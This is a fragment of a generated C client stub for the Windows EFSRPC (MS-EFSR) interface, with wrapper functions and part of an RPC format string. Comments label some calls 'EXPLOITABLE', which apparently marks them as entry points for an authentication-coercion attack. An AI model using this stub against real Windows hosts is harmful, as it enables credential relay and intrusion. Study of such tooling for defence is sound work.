)_RetVal.Simple;\n    \n}\n\n// NOT EXPLOITABLE\nDWORD EfsRpcFlushEfsCache( \n    /* [in] */ handle_t binding_h)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&efsrpc_through_pipe_efsrpc_ProxyInfo,\n                  20,\n                  0,\n                  binding_h);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n// EXPLOITABLE\nlong EfsRpcEncryptFileExSrv( \n    /* [in] */ handle_t binding_h,\n    /* [string][in] */ wchar_t *FileName,\n    /* [unique][string][in] */ wchar_t *ProtectorDescriptor,\n    /* [in] */ unsigned long Flags)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&efsrpc_through_pipe_efsrpc_ProxyInfo,\n                  21,\n                  0,\n                  binding_h,\n                  FileName,\n                  ProtectorDescriptor,\n                  Flags);\n    return ( long  )_RetVal.Simple;\n    \n}\n\n// EXPLOITABLE\nDWORD EfsRpcQueryProtectors( \n    /* [in] */ handle_t binding_h,\n    /* [string][in] */ wchar_t *FileName,\n    /* [out] */ PENCRYPTION_PROTECTOR_LIST **ppProtectorList)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&efsrpc_through_pipe_efsrpc_ProxyInfo,\n                  22,\n                  0,\n                  binding_h,\n                  FileName,\n                  ppProtectorList);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n// NOT DOCUMENTED\nlong Proc23_EfsRpcWriteFileWithHeaderRaw( \n    /* [context_handle][in] */ void *arg_0,\n    /* [in] */ struct pipe_\n        {\n        void (__RPC_USER * pull) (\n            char * state,\n            unsigned char * buf,\n            unsigned long esize,\n            unsigned long * ecount );\n        void (__RPC_USER * push) (\n            char * state,\n            unsigned char * buf,\n            unsigned long ecount );\n        void (__RPC_USER * alloc) (\n            char * state,\n            unsigned long bsize,\n            unsigned char * * buf,\n            unsigned long * bcount );\n        char * state;\n        } \t*arg_1,\n    /* [in] */ struct Struct_392_t *arg_2,\n    /* [in] */ hyper arg_3,\n    /* [in] */ long arg_4)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&efsrpc_through_pipe_efsrpc_ProxyInfo,\n                  23,\n                  0,\n                  arg_0,\n                  arg_1,\n                  arg_2,\n                  arg_3,\n                  arg_4);\n    return ( long  )_RetVal.Simple;\n    \n}\n\n// NOT DOCUMENTED\nlong Proc24_EdpRpcCredentialCreate( \n    /* [in] */ handle_t IDL_handle,\n    /* [string][full][in] */ wchar_t *arg_1,\n    /* [string][full][in] */ wchar_t *arg_2,\n    /* [string][full][in] */ wchar_t *arg_3,\n    /* [string][ref][out] */ wchar_t **arg_4)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&efsrpc_through_pipe_efsrpc_ProxyInfo,\n                  24,\n                  0,\n                  IDL_handle,\n                  arg_1,\n                  arg_2,\n                  arg_3,\n                  arg_4);\n    return ( long  )_RetVal.Simple;\n    \n}\n\n// NOT DOCUMENTED\nlong Proc25_EdpRpcCredentialQuery( \n    /* [in] */ handle_t IDL_handle,\n    /* [string][full][in] */ wchar_t *arg_1,\n    /* [string][full][in] */ wchar_t *arg_2,\n    /* [string][full][in] */ wchar_t *arg_3,\n    /* [string][ref][out] */ wchar_t **arg_4)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&efsrpc_through_pipe_efsrpc_ProxyInfo,\n                  25,\n                  0,\n                  IDL_handle,\n                  arg_1,\n                  arg_2,\n                  arg_3,\n                  arg_4);\n    return ( long  )_RetVal.Simple;\n    \n}\n\n// NOT DOCUMENTED\nlong Proc26_EdpRpcCredentialExists( \n    /* [in] */ handle_t IDL_handle,\n    /* [string][full][in] */ wchar_t *arg_1,\n    /* [string][full][in] */ wchar_t *arg_2,\n    /* [string][full][in] */ wchar_t *arg_3,\n    /* [out] */ long *arg_4)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&efsrpc_through_pipe_efsrpc_ProxyInfo,\n                  26,\n                  0,\n                  IDL_handle,\n                  arg_1,\n                  arg_2,\n                  arg_3,\n                  arg_4);\n    return ( long  )_RetVal.Simple;\n    \n}\n\n// NOT DOCUMENTED\nlong Proc27_EdpRpcCredentialDelete( \n    /* [in] */ handle_t IDL_handle,\n    /* [in] */ long arg_1,\n    /* [string][full][in] */ wchar_t *arg_2,\n    /* [string][full][in] */ wchar_t *arg_3,\n    /* [string][full][in] */ wchar_t *arg_4,\n    /* [string][full][in] */ wchar_t *arg_5)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&efsrpc_through_pipe_efsrpc_ProxyInfo,\n                  27,\n                  0,\n                  IDL_handle,\n                  arg_1,\n                  arg_2,\n                  arg_3,\n                  arg_4,\n                  arg_5);\n    return ( long  )_RetVal.Simple;\n    \n}\n\n// NOT DOCUMENTED\nlong Proc28_EdpRpcQueryRevokedPolicyOwnerIds( \n    /* [in] */ handle_t IDL_handle,\n    /* [string][full][in] */ wchar_t *arg_1,\n    /* [in] */ long arg_2,\n    /* [string][ref][out] */ wchar_t **arg_3)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&efsrpc_through_pipe_efsrpc_ProxyInfo,\n                  28,\n                  0,\n                  IDL_handle,\n                  arg_1,\n                  arg_2,\n                  arg_3);\n    return ( long  )_RetVal.Simple;\n    \n}\n\n// NOT DOCUMENTED\nlong Proc29_EdpRpcQueryDplEnforcedPolicyOwnerIds( \n    /* [in] */ handle_t IDL_handle,\n    /* [string][full][in] */ wchar_t *arg_1,\n    /* [string][ref][out] */ wchar_t **arg_2)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&efsrpc_through_pipe_efsrpc_ProxyInfo,\n                  29,\n                  0,\n                  IDL_handle,\n                  arg_1,\n                  arg_2);\n    return ( long  )_RetVal.Simple;\n    \n}\n\n// NOT DOCUMENTED\nlong Proc30_EdpRpcGetLockSessionWrappedKey( \n    /* [in] */ handle_t IDL_handle,\n    /* [string][full][in] */ wchar_t *arg_1,\n    /* [size_is][full][in] */ unsigned char *arg_2,\n    /* [in] */ long arg_3,\n    /* [size_is][size_is][ref][out] */ unsigned char **arg_4,\n    /* [out] */ long *arg_5,\n    /* [size_is][size_is][ref][out] */ unsigned char **arg_6,\n    /* [out] */ long *arg_7)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&efsrpc_through_pipe_efsrpc_ProxyInfo,\n                  30,\n                  0,\n                  IDL_handle,\n                  arg_1,\n                  arg_2,\n                  arg_3,\n                  arg_4,\n                  arg_5,\n                  arg_6,\n                  arg_7);\n    return ( long  )_RetVal.Simple;\n    \n}\n\n// NOT DOCUMENTED\nlong Proc31_EdpRpcGetLockSessionUnwrappedKey( \n    /* [in] */ handle_t IDL_handle,\n    /* [string][full][in] */ wchar_t *arg_1,\n    /* [size_is][full][in] */ unsigned char *arg_2,\n    /* [in] */ long arg_3,\n    /* [size_is][full][in] */ unsigned char *arg_4,\n    /* [in] */ long arg_5,\n    /* [size_is][size_is][ref][out] */ unsigned char **arg_6,\n    /* [out] */ long *arg_7)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&efsrpc_through_pipe_efsrpc_ProxyInfo,\n                  31,\n                  0,\n                  IDL_handle,\n                  arg_1,\n                  arg_2,\n                  arg_3,\n                  arg_4,\n                  arg_5,\n                  arg_6,\n                  arg_7);\n    return ( long  )_RetVal.Simple;\n    \n}\n\n// NOT DOCUMENTED\nlong Proc32_EdpRpcGetCredServiceState( \n    /* [in] */ handle_t IDL_handle,\n    /* [out] */ long *arg_1,\n    /* [out] */ long *arg_2,\n    /* [out] */ long *arg_3,\n    /* [out] */ long *arg_4,\n    /* [out] */ long *arg_5,\n    /* [out] */ long *arg_6,\n    /* [out] */ long *arg_7,\n    /* [out] */ long *arg_8,\n    /* [out] */ long *arg_9)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&efsrpc_through_pipe_efsrpc_ProxyInfo,\n                  32,\n                  0,\n                  IDL_handle,\n                  arg_1,\n                  arg_2,\n                  arg_3,\n                  arg_4,\n                  arg_5,\n                  arg_6,\n                  arg_7,\n                  arg_8,\n                  arg_9);\n    return ( long  )_RetVal.Simple;\n    \n}\n\n// NOT DOCUMENTED\nlong Proc33_EdpRpcDplUpgradePinInfo( \n    /* [in] */ handle_t IDL_handle,\n    /* [string][full][in] */ wchar_t *arg_1,\n    /* [out] */ long *arg_2,\n    /* [out] */ long *arg_3,\n    /* [out] */ long *arg_4)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&efsrpc_through_pipe_efsrpc_ProxyInfo,\n                  33,\n                  0,\n                  IDL_handle,\n                  arg_1,\n                  arg_2,\n                  arg_3,\n                  arg_4);\n    return ( long  )_RetVal.Simple;\n    \n}\n\n// NOT DOCUMENTED\nlong Proc34_EdpRpcDplUpgradeVerifyUser( \n    /* [in] */ handle_t IDL_handle,\n    /* [string][full][in] */ wchar_t *arg_1,\n    /* [string][full][in] */ wchar_t *arg_2,\n    /* [out] */ long *arg_3,\n    /* [out] */ unsigned __int3264 *arg_4)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&efsrpc_through_pipe_efsrpc_ProxyInfo,\n                  34,\n                  0,\n                  IDL_handle,\n                  arg_1,\n                  arg_2,\n                  arg_3,\n                  arg_4);\n    return ( long  )_RetVal.Simple;\n    \n}\n\n// NOT DOCUMENTED\nlong Proc35_EdpRpcDplUserCredentialsSet( \n    /* [in] */ handle_t IDL_handle,\n    /* [string][full][in] */ wchar_t *arg_1,\n    /* [string][full][in] */ wchar_t *arg_2,\n    /* [in] */ short arg_3,\n    /* [in] */ unsigned __int3264 arg_4)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&efsrpc_through_pipe_efsrpc_ProxyInfo,\n                  35,\n                  0,\n                  IDL_handle,\n                  arg_1,\n                  arg_2,\n                  arg_3,\n                  arg_4);\n    return ( long  )_RetVal.Simple;\n    \n}\n\n// NOT DOCUMENTED\nlong Proc36_EdpRpcDplUserUnlockStart( \n    /* [in] */ handle_t IDL_handle,\n    /* [string][full][in] */ wchar_t *arg_1,\n    /* [string][full][in] */ wchar_t *arg_2,\n    /* [in] */ hyper arg_3,\n    /* [out] */ unsigned __int3264 *arg_4)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&efsrpc_through_pipe_efsrpc_ProxyInfo,\n                  36,\n                  0,\n                  IDL_handle,\n                  arg_1,\n                  arg_2,\n                  arg_3,\n                  arg_4);\n    return ( long  )_RetVal.Simple;\n    \n}\n\n// NOT DOCUMENTED\nlong Proc37_EdpRpcDplUserUnlockComplete( \n    /* [in] */ handle_t IDL_handle,\n    /* [string][full][in] */ wchar_t *arg_1,\n    /* [in] */ long arg_2,\n    /* [in] */ unsigned __int3264 arg_3)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&efsrpc_through_pipe_efsrpc_ProxyInfo,\n                  37,\n                  0,\n                  IDL_handle,\n                  arg_1,\n                  arg_2,\n                  arg_3);\n    return ( long  )_RetVal.Simple;\n    \n}\n\n// NOT DOCUMENTED\nlong Proc38_EdpRpcQueueFileForEncryption( \n    /* [in] */ handle_t IDL_handle,\n    /* [unique][in] */ struct Struct_762_t *arg_1,\n    /* [string][unique][in] */ wchar_t *arg_2,\n    /* [string][unique][in] */ wchar_t *arg_3,\n    /* [string][in] */ wchar_t *arg_4)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&efsrpc_through_pipe_efsrpc_ProxyInfo,\n                  38,\n                  0,\n                  IDL_handle,\n                  arg_1,\n                  arg_2,\n                  arg_3,\n                  arg_4);\n    return ( long  )_RetVal.Simple;\n    \n}\n\n// NOT DOCUMENTED\nlong Proc39_EdpRpcServiceFileEncryptionQueue( \n    /* [in] */ handle_t IDL_handle,\n    /* [in] */ unsigned char arg_1)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&efsrpc_through_pipe_efsrpc_ProxyInfo,\n                  39,\n                  0,\n                  IDL_handle,\n                  arg_1);\n    return ( long  )_RetVal.Simple;\n    \n}\n\n// NOT DOCUMENTED\nlong Proc40_EdpRpcCredSvcControl( \n    /* [in] */ handle_t IDL_handle,\n    /* [in] */ long arg_1,\n    /* [string][full][in] */ wchar_t *arg_2,\n    /* [string][full][in] */ wchar_t *arg_3,\n    /* [size_is][full][in] */ unsigned char *arg_4,\n    /* [in] */ long arg_5,\n    /* [size_is][full][in] */ unsigned char *arg_6,\n    /* [in] */ long arg_7,\n    /* [size_is][size_is][ref][out] */ unsigned char **arg_8,\n    /* [out] */ long *arg_9)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&efsrpc_through_pipe_efsrpc_ProxyInfo,\n                  40,\n                  0,\n                  IDL_handle,\n                  arg_1,\n                  arg_2,\n                  arg_3,\n                  arg_4,\n                  arg_5,\n                  arg_6,\n                  arg_7,\n                  arg_8,\n                  arg_9);\n    return ( long  )_RetVal.Simple;\n    \n}\n\n\n// NOT DOCUMENTED\nlong Proc41_EdpRpcRmsClearKeys(\n    /* [in] */ handle_t IDL_handle)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&efsrpc_through_pipe_efsrpc_ProxyInfo,\n                  41,\n                  0,\n                  IDL_handle);\n    return ( long  )_RetVal.Simple;\n    \n}\n\n\n// NOT DOCUMENTED\nlong Proc42_EdpRpcRmsContainerizeFile(\n    /* [in] */ handle_t IDL_handle,\n    /* [string][in] */ wchar_t *arg_1,\n    /* [string][in] */ wchar_t *arg_2,\n    /* [string][unique][in] */ wchar_t *arg_3,\n    /* [string][in] */ wchar_t *arg_4,\n    /* [string][ref][out] */ wchar_t **arg_5)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&efsrpc_through_pipe_efsrpc_ProxyInfo,\n                  42,\n                  0,\n                  IDL_handle,\n                  arg_1,\n                  arg_2,\n                  arg_3,\n                  arg_4,\n                  arg_5);\n    return ( long  )_RetVal.Simple;\n    \n}\n\n\n// NOT DOCUMENTED\nlong Proc43_EdpRpcRmsGetContainerIdentity(\n    /* [in] */ handle_t IDL_handle,\n    /* [string][in] */ wchar_t *arg_1,\n    /* [string][ref][out] */ wchar_t **arg_2)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&efsrpc_through_pipe_efsrpc_ProxyInfo,\n                  43,\n                  0,\n                  IDL_handle,\n                  arg_1,\n                  arg_2);\n    return ( long  )_RetVal.Simple;\n    \n}\n\n\n// NOT DOCUMENTED\nlong Proc44_EdpRpcRmsDecontainerizeFile(\n    /* [in] */ handle_t IDL_handle,\n    /* [string][in] */ wchar_t *arg_1,\n    /* [string][in] */ wchar_t *arg_2,\n    /* [string][ref][out] */ wchar_t **arg_3)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&efsrpc_through_pipe_efsrpc_ProxyInfo,\n                  44,\n                  0,\n                  IDL_handle,\n                  arg_1,\n                  arg_2,\n                  arg_3);\n    return ( long  )_RetVal.Simple;\n    \n}\n\n\n// NOT DOCUMENTED\nlong Proc45_EdpRpcAllowFileAccessForProcess(\n    /* [in] */ handle_t IDL_handle,\n    /* [string][in] */ wchar_t *arg_1,\n    /* [in] */ long arg_2,\n    /* [string][unique][in] */ wchar_t *arg_3)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&efsrpc_through_pipe_efsrpc_ProxyInfo,\n                  45,\n                  0,\n                  IDL_handle,\n                  arg_1,\n                  arg_2,\n                  arg_3);\n    return ( long  )_RetVal.Simple;\n    \n}\n\n\n// NOT DOCUMENTED\nlong Proc46_EdpRpcGetTfaCache(\n    /* [in] */ handle_t IDL_handle,\n    /* [ref][out] */ struct Struct_972_t **arg_1)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&efsrpc_through_pipe_efsrpc_ProxyInfo,\n                  46,\n                  0,\n                  IDL_handle,\n                  arg_1);\n    return ( long  )_RetVal.Simple;\n    \n}\n\n\n#if !defined(__RPC_WIN64__)\n#error  Invalid build platform for this stub.\n#endif\n\nstatic const MS2DEFSR_df1941c52Dfe892D4e792Dbf102D463657acf44d_MIDL_PROC_FORMAT_STRING MS2DEFSR_df1941c52Dfe892D4e792Dbf102D463657acf44d__MIDL_ProcFormatString =\n    {\n        0,\n        {\n\n\t/* Procedure EfsRpcOpenFileRaw */\n\n\t\t\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/*  2 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/*  6 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/*  8 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 10 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 12 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 14 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 16 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 18 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x4,\t\t/* 4 */\n/* 20 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 22 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 24 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 26 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 28 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hContext */\n\n/* 30 */\tNdrFcShort( 0x110 ),\t/* Flags:  out, simple ref, */\n/* 32 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 34 */\tNdrFcShort( 0x6 ),\t/* Type Offset=6 */\n\n\t/* Parameter FileName */\n\n/* 36 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 38 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 40 */\tNdrFcShort( 0xc ),\t/* Type Offset=12 */\n\n\t/* Parameter Flags */\n\n/* 42 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 44 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 46 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 48 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 50 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 52 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure EfsRpcReadFileRaw */\n\n/* 54 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 56 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 60 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 62 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 64 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 66 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 68 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 70 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 72 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 74 */\t0x4c,\t\t/* Oi2 Flags:  has return, has pipes, has ext, */\n\t\t\t0x3,\t\t/* 3 */\n/* 76 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 78 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 80 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 82 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 84 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hContext */\n\n/* 86 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 88 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 90 */\tNdrFcShort( 0xe ),\t/* Type Offset=14 */\n\n\t/* Parameter EfsOutPipe */\n\n/* 92 */\tNdrFcShort( 0x4114 ),\t/* Flags:  pipe, out, simple ref, srv alloc size=16 */\n/* 94 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 96 */\tNdrFcShort( 0x18 ),\t/* Type Offset=24 */\n\n\t/* Return value */\n\n/* 98 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 100 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 102 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure EfsRpcWriteFileRaw */\n\n/* 104 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 106 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 110 */\tNdrFcShort( 0x2 ),\t/* 2 */\n/* 112 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 114 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 116 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 118 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 120 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 122 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 124 */\t0x4c,\t\t/* Oi2 Flags:  has return, has pipes, has ext, */\n\t\t\t0x3,\t\t/* 3 */\n/* 126 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 128 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 130 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 132 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 134 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hContext */\n\n/* 136 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 138 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 140 */\tNdrFcShort( 0xe ),\t/* Type Offset=14 */\n\n\t/* Parameter EfsInPipe */\n\n/* 142 */\tNdrFcShort( 0x10c ),\t/* Flags:  pipe, in, simple ref, */\n/* 144 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 146 */\tNdrFcShort( 0x26 ),\t/* Type Offset=38 */\n\n\t/* Return value */\n\n/* 148 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 150 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 152 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure EfsRpcCloseRaw */\n\n/* 154 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 156 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 160 */\tNdrFcShort( 0x3 ),\t/* 3 */\n/* 162 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 164 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0xe0,\t\t/* Ctxt flags:  via ptr, in, out, */\n/* 166 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 168 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 170 */\tNdrFcShort( 0x38 ),\t/* 56 */\n/* 172 */\tNdrFcShort( 0x38 ),\t/* 56 */\n/* 174 */\t0x40,\t\t/* Oi2 Flags:  has ext, */\n\t\t\t0x1,\t\t/* 1 */\n/* 176 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 178 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 180 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 182 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 184 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hContext */\n\n/* 186 */\tNdrFcShort( 0x118 ),\t/* Flags:  in, out, simple ref, */\n/* 188 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 190 */\tNdrFcShort( 0x32 ),\t/* Type Offset=50 */\n\n\t/* Procedure EfsRpcEncryptFileSrv */\n\n/* 192 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 194 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 198 */\tNdrFcShort( 0x4 ),\t/* 4 */\n/* 200 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 202 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 204 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 206 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 208 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 210 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x2,\t\t/* 2 */\n/* 212 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 214 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 216 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 218 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 220 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter FileName */\n\n/* 222 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 224 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 226 */\tNdrFcShort( 0xc ),\t/* Type Offset=12 */\n\n\t/* Return value */\n\n/* 228 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 230 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 232 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure EfsRpcDecryptFileSrv */\n\n/* 234 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 236 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 240 */\tNdrFcShort( 0x5 ),\t/* 5 */\n/* 242 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 244 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 246 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 248 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 250 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 252 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x3,\t\t/* 3 */\n/* 254 */\t0xa,\t\t/* 10 